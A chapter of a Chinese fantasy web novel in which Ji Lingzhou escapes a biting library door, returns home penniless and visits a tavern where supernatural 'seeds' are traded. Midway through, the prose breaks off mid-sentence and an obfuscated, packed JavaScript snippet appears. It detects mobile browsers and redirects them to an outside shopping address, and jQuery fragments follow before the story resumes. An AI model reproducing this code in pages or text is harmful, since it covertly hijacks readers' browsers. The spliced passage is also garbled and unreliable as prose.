“锵!”
季泠州关上了门。
门合拢前的最后十几秒,漫长的仿佛过去了一辈子。
灰烬在同一时间消失。
巨脸依依不舍地张开嘴,带锯齿的牙从季泠州身躯里拔出,齿缝间还挂着丝丝缕缕的血肉。
一条分叉的舌头从嘴里伸出,依依不舍地舔干净齿缝里的血肉,缩回门上。
藏书室再次恢复平静。
季泠州的背低着门缓缓滑坐,呼吸粗重得像个破风箱。
整个人几乎虚脱,被咬住的瞬间让他有种濒死的错觉。
亡月神术持续生效,肩膀上的血窟窿缓缓愈合,剧痛逐渐转为麻痒。
大抵是白嫖了亡月太多次,术式的效果明显变差,他的额头泛起细密汗珠。
“菲尼克斯!”一时半会动不了,季泠州只好转移注意力,开始呼唤,“你死了吗?喂,菲尼克斯。”
地上的纸片人一动不动。
“醒醒!菲尼克斯。”
扁平的菲尼克斯燃烧起来。
别,怎么又来?
季泠州无奈地盯着燃烧的地方,心想要是出现新的灰烬整你等死了。
因为藏书室里无法使用【安心钥匙】,他第一时间就试过了。
出乎意料的是,菲尼克斯在燃烧中逐渐膨胀起来,身形缓缓恢复。
“咳咳咳,我死了一次。”菲尼克斯艰难地支起上半身。
季泠州有气无力地咳了一声,问道:“你还好吗?”
“不好。”
菲尼克斯缓过劲儿来,从地上爬起,跑来扶季泠州。
走到一半,他敏锐地注意到季泠州警惕的眼神,于是停下脚步,解释道:
“我的职业是【不死鸟】,每十年才能涅槃一次,刚才已经用掉了。”
似乎自己认识的每个超凡者,职业都很强大,季泠州想。
若是自己能涅槃,说不定能卡个bug,一次性还清欠亡月的寿命。
——毕竟人死债销。
现在不是纠结这个的时候。
季泠州轻咳一声,提示道:“你的衣服。”
“衣服?”菲尼克斯下意识地拽了一下衣摆,却径直摸到了自己的腰。
“啊!”
他惶然地蹲下,双手徒劳地试图遮掩胸口的滑稽猫头纹身。
耷拉的眼皮嵌在滚圆的猫脑袋上,不禁让人联想到的塔洛恩,还是翻白眼的那种。
真是绝妙的艺术!
季泠州不得不反复回忆自己被巨脸咬住时的剧痛,这才没笑出声来。
“没事,我什么也没看到。”
他脱下自己被咬出一串洞的长风衣,朝菲尼克斯丢去。
菲尼克斯如蒙大赦般裹上风衣,脸涨得通红,主动帮季泠州检查伤口,并说道:
“你的伤势很严重。”菲尼克斯用指尖挑开黏在伤口的衬衣碎布。
季泠州无所谓。
“已经开始愈合了,借助一点点亡月的帮助。”
菲尼克斯神色中带上了一丝不易察觉的紧张:“你信仰亡月?”
季泠州摇头:“不过是和亡月的主教相熟而已。”
菲尼克斯悄悄松了口气,他蹲下架起季泠州:“我带你离开。”
“谢谢。”
菲尼克斯蹲下时,悄悄用掌心的手帕拂过门边的血污,但无人注意到。
他不动声色地收起湿润的手帕,提议:“这些痕迹我帮你处理掉吧。”
灿金色的火焰化作一只巴掌大的小鸟,扑闪着翅膀飞过血迹洒落的地方,将血液都烧掉。
季泠州好奇地打量着焰鸟,它小巧灵动,身周的空气被烧得扭曲抖动。
菲尼克斯抓住机会转移话题:
“我只有一阶,只能放出这么点大的火鸟。十二阶登神路,只要走到九阶就能召出完全体的不死鸟。”
季泠州:“十二阶呢?”
菲尼克斯摇头:“不知道。我家里人没人成功过。毕竟,有数的十二阶都在那。”
他停止推门,抹了一把脑门的汗,伸手指指天上。
“这门死沉。”他评价道。
季泠州不好意思地打断他:“我记得咱们进来的时候,夜莺大人从外往里将门推开的。”
菲尼克斯恍然大悟。
青铜门成功打开。
夜莺支着下颌假寐,门轴转动的微响将她惊醒。
她睁开眼睛,眼尾比平时略红一些。
夜莺眉头紧蹙,打量着季泠州身上的大团血迹,和明显只穿了外衣的菲尼克斯。
“你们遇到了什么?”她问。
季泠州简述了事情的经过。
夜莺神色凝重,目光中带着一丝探究,她和季泠州对视,问:“你是说,门咬了你一口。”
“对。”
“大人,这门不对劲儿,绝对有问题。”菲尼克斯补充了一句。
夜莺没有多说,抬手自虚空中抽出一本手臂长的书,青铜铸造的封面上,纹路和门类似。
“给我显示最近一个月的巡查记录。”她轻敲书脊,命令道。
书自动翻开,成串的字符飞出组成一份记录。
“奇怪!”
看完记录后,夜莺沉吟道:
“记录一切正常,我也没感受到异常波动。你们两个在里面做了什么吗?”
季泠州略微回忆,似乎自己没什么出格举动,摇头道:“我只看了几本书,翻了大部分手札。”
菲尼克斯:“我看了会书,就睡着了。”
“按理说在012的压制下,这些门会永远沉寂。”夜莺自言自语,“我必须得上报这件事,申请专业异常物研究员来检查。”
说话间,夜莺屈指弹出一缕辉光,光丝如活虫般钻进青铜门缝。
光芒瞬间大盛,整扇门都被封锁在透明琥珀似的光晕里。
“我先送你们离开。”夜莺当机立断,从口袋掏出一只乌龟。
巴掌大的乌龟,壳被盘得锃亮。
夜莺拉着二人跃入乌龟的梦境。
乌龟有梦境吗?
有,而且很简单。
整个梦境世界只有水晶缸、小鱼和另外两只龟。
唯一的特殊在于水晶缸很是华丽,一侧甚至用细碎的宝石拼了个复杂的图案。
没等季泠州看清那个图案,夜莺撕开梦境边缘,跳入一个距离最近的人类梦境当跳板。
只花了几秒钟,就将二人各自送回了自己家。
季泠州站在门厅里,不由感慨别人的超凡职业各有各的优势。
不说别的,【梦境行者】这个移动方式就没的说,平稳、安全,又有趣。
若是能拥有【梦境行者】的部分能力也是不错的。他回忆起夜莺头上新浮现出的标签:
【异对司加班记录No.1】、【逃亡者】、【旧相识】……
第一个标签含义直白,后两个则显得意味深长,他一时半会还猜不到具体指向。
“鉴定”技能只对超凡力量不如他的,或是对他敞开心扉的人起效。
季泠州清楚记着,第一次见面时夜莺一片空白。如今能看到更多,毫无疑问是件好事。
他哼着轻松的小调,朝二楼走去。
今天份的死里逃生完成了,接下来能渡过相对安稳的一段时间。
季泠州计划先洗漱一下,然后躺到床上用【仪式之书】玩小游戏,这是为数不多能回味地球生活的方法。
三分钟后,季泠州看着空荡荡的衣柜陷入沉思:“彼方,我记得衣帽行今天会上门送新做的衣物。”
玻璃球拼成一个ヽ(;′Д`)?,接着化成一行字:“钱不够,无法支付尾款,所以……”
季泠州心中盘算:
从卡尔森夫人那里得到了两千多金镑。在银行换成金帆后,减去零零碎碎的支出,无论如何还应该剩一千金帆以上。
怎么会支付不起五个金帆的尾款?
一个可怕的念头浮起,他的声音颤抖地问:“彼方,你把钱都给夜鹭了?”
彼方:“红眼说酬金数额将决定委托的完成度。”
“你……糊涂呀!我那个不认识的弟弟未必能杀掉我,但没钱很快就会饿死。红眼出发了吗?”
彼方:“T^T早上就走了。”
季泠州如遭雷击,眼前一阵阵发黑,突如其来的贫困砸晕了他的头。
早上睡醒的时候,他还赞叹彼方厨艺大涨,很快能成为一个合格的管家,替
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355297|196972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己解决烦恼。
不过,烦恼从某种意义上看已经不存在了。
片刻前,他还在烦恼晚饭吃什么。
但吃饭需要钱,而他没有钱。所以,烦恼被解决了。
季泠州取下搭在【苍白挽歌】上的衣服,雕像上的轻纱重新罩住面庞。
经过这段时间的摸索,他发现解离神性存在是最快的提升方式,现在他一天能使用“修改器”五次,暂时脱离了死亡威胁。
……
沙丁鱼酒馆的门被一把推开,喧闹的人群瞬间安静下来。
一个满头大汗的东陆人走进来,坐在靠门的座位里揉捏自己的腿。
酒保的眼神在他身上打量一番,失望地移开。。
一看就是个穷人,衣着虽整齐,却连马车也坐不起。
人群恢复喧闹,但仍有几道目光停在季泠州身上。
“黑头发先生,你也是来竞争种子的吗?”靠门的地方,一个和季泠州年纪相仿的戴礼帽的男人问,语气轻蔑。
季泠州态度诚恳:“不是,我没有钱。”
礼帽男满脸愕然,他准备好了嘲讽的话,哪能想到正主自己承认了。
一拳打在棉花上。
同桌的伙伴大笑着拍打礼帽男的肩膀,乐不可支。
礼帽男倾身,帽檐阴影里浮起探究:“那你来做什么?”
季泠州抿了一口不要钱的柠檬水:
“听朋友提到沙丁鱼酒馆,我很好奇所以来看看。”
“朋友?”
“是呀!”他并没有说塔洛恩的名字。
礼帽男失去兴趣,转过头继续和同桌的人交谈。
季泠州抬手扶了一下自己的新眼镜。
【听力放大眼镜:别管它是怎么起效的,用就对了。备注:偷听他人谈话时,最重要的是什么——隐藏身份。】
人们的对话传入耳际:
“是个新人,什么都不懂。”
“这年头,想当超凡者的家伙比街上的野狗还多。”
“听说今晚的种子能觉醒命运系的职业。”
“天!那岂不是第二个天……”
“嘘——不要说出来,被人听到你想死吗?”
季泠州微微一笑,给自己倒了杯不要钱的柠檬水。
很好,市场对觉醒超凡的热情程度远超预料,他心情愉悦地举杯。
没加蜂蜜的柠檬水口感清爽,越喝越开胃。
当他灌下第三杯水后,已经饿得前心贴后背,胃火辣辣地灼烧着,奔波一天的劳累全都卷上心头。
他不禁后悔。
或许应该在家等到艾希莉下班,去她家里蹭点东西吃再出发。
酒保终于动了,他放下手里的抹布离开吧台,走到角落,将一位用斗篷罩着脸的客人请到台上。
“今天,我们还是老规矩。商量好的客人支付抽成后,去后台交易,我们老板提供担保。”
酒馆的客人纷纷起哄:“知道了,快开始吧!”
斗篷人抬手,示意人群安静。
“我要开始了,没有裹成人尿布的客人,现在可以退出店外,等待第二轮交易。”
季泠州满头问号。
所有人都一动不动,只有先前和他搭过话的那桌人投来期待的眼神。
紧接着,一股极弱的灵性拂过他全身,旋即消散不见。
有几个人弯着腰,脸色涨红地跑掉了,剩下的人群爆发出一阵大笑。
季泠州的脸色冷了下来,暗自提高警惕。
刚才,他感受到了【结界师】独有的灵性波动,和迪伦·阿兰一模一样。
这里有超凡者。
斗篷人说:“哈哈哈哈,不速之客已经夹着尿离开了!现在留下的都是诚心交易的朋友。”
人群纷纷行动起来,分成两群开始交谈。
季泠州也学着其他人的样子站起来,刚要混入人群,不知何时斗篷人悄然出现在身边。
“陌生的超凡者阁下,你贸然混进来,不和我打个招呼吗?”斗篷人的声音幽幽的。
“如果我愿意,随时可以让你身败名裂、生不如死。”
季泠州挑了挑眉:
“像你刚才对其他人做的那样,你可以试试。”